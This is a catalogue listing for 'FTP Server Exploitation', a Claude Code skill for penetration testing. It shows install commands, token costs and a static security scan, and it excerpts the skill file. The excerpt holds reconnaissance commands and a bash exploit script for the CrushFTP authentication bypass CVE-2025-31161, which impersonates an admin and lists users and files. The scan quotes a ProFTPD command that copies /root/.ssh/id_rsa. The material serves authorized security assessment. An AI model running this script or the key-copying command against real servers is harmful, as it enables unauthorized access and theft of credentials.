What is FTP Server Exploitation?

A security-testing guide for identifying and assessing FTP servers, which are services used to transfer files over a network.

Use it during authorized assessments to identify CrushFTP, vsftpd, ProFTPD, Pure-FTPd, or FileZilla Server and check their documented attack paths.

It helps match server banners and versions with known weaknesses, including authentication bypasses, backdoors, arbitrary file writes, and configuration disclosure.

FTP Server Exploitation — Skill for Claude Code by allsmog

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add allsmog/blackbox-claude-plugin --skill ftp-exploitation

Clone the repo

git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/ftp-exploitation/github.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/ftp-exploitation)

Your own site

<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/ftp-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/ftp-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/ftp-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/ftp-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 72 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,328 The whole file, excluding the scripts and references it only reads on demand.

Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00072	$0.01328
Opus 5	$0.00036	$0.00664
Sonnet 5	$0.00014	$0.00266
Haiku 4.5	$0.00007	$0.00133

Measured 9d ago against content hash 883594dc9333, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade C, and why

FTP Server Exploitation scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

site cpfr /root/.ssh/id_rsa

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl ftp://<TARGET>

blackbox-htb/skills/ftp-exploitation/SKILL.md · 187 lines

How it starts

The opening of the file, as written. The whole thing — 187 lines — stays where its author put it; the contents beside it link to each section on GitHub.

FTP Server Exploitation Skill

Service Identification

Banner Analysis

# Nmap FTP detection
nmap -sV -sC -p 21 <TARGET>

# Manual banner grab
nc <TARGET> 21
curl ftp://<TARGET>

Common FTP Servers

Banner Contains	Server	Notable Vulns
CrushFTP	CrushFTP	CVE-2025-31161 auth bypass
vsFTPd 2.3.4	vsftpd	Backdoor RCE
ProFTPD 1.3.5	ProFTPD	mod_copy arbitrary write
Pure-FTPd	Pure-FTPd	Check version for vulns
FileZilla	FileZilla Server	Config file disclosure

CVE-2025-31161: CrushFTP Authentication Bypass

CRITICAL - Allows unauthenticated access to any user account

Affected Versions

CrushFTP < 11.3.1 (v11 branch)
CrushFTP < 10.8.4 (v10 branch)

Detection

# Look for CrushFTP web interface
curl -s http://<TARGET>/WebInterface/ | grep -i crush

# Check version in response headers
curl -sI http://<TARGET>/WebInterface/

Exploit: AWS4-HMAC-SHA256 Auth Bypass

#!/bin/bash
# CrushFTP Auth Bypass - CVE-2025-31161

TARGET="ftp.target.htb"
USER="admin"  # User to impersonate (try: admin, crushadmin, root)

# Generate session cookie
timestamp=$(date +%s)
random=$(head -c 30 /dev/urandom | base64 | tr -dc a-zA-Z0-9 | head -c 30)
cookie="${timestamp}_${random}"
c2f="${cookie: -4}"

# Authenticate as any user without password
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}" \
  -H "Authorization: AWS4-HMAC-SHA256 Credential=${USER}/" \
  -d "command=getUsername&c2f=${c2f}"

echo ""
echo "Authenticated as ${USER}"

# List users (if admin)
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getUserList&c2f=${c2f}&serverGroup=MainUsers"

# List VFS (virtual filesystem)
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getXMLListing&c2f=${c2f}&path=/"

Read the full file on GitHub · 187 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

9d ago First seen · 187 lines · 72 tokens per session scan C 883594dc9333

Subscribe to this mod's changes

FTP Server Exploitation is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 72 tokens to every session and 1,328 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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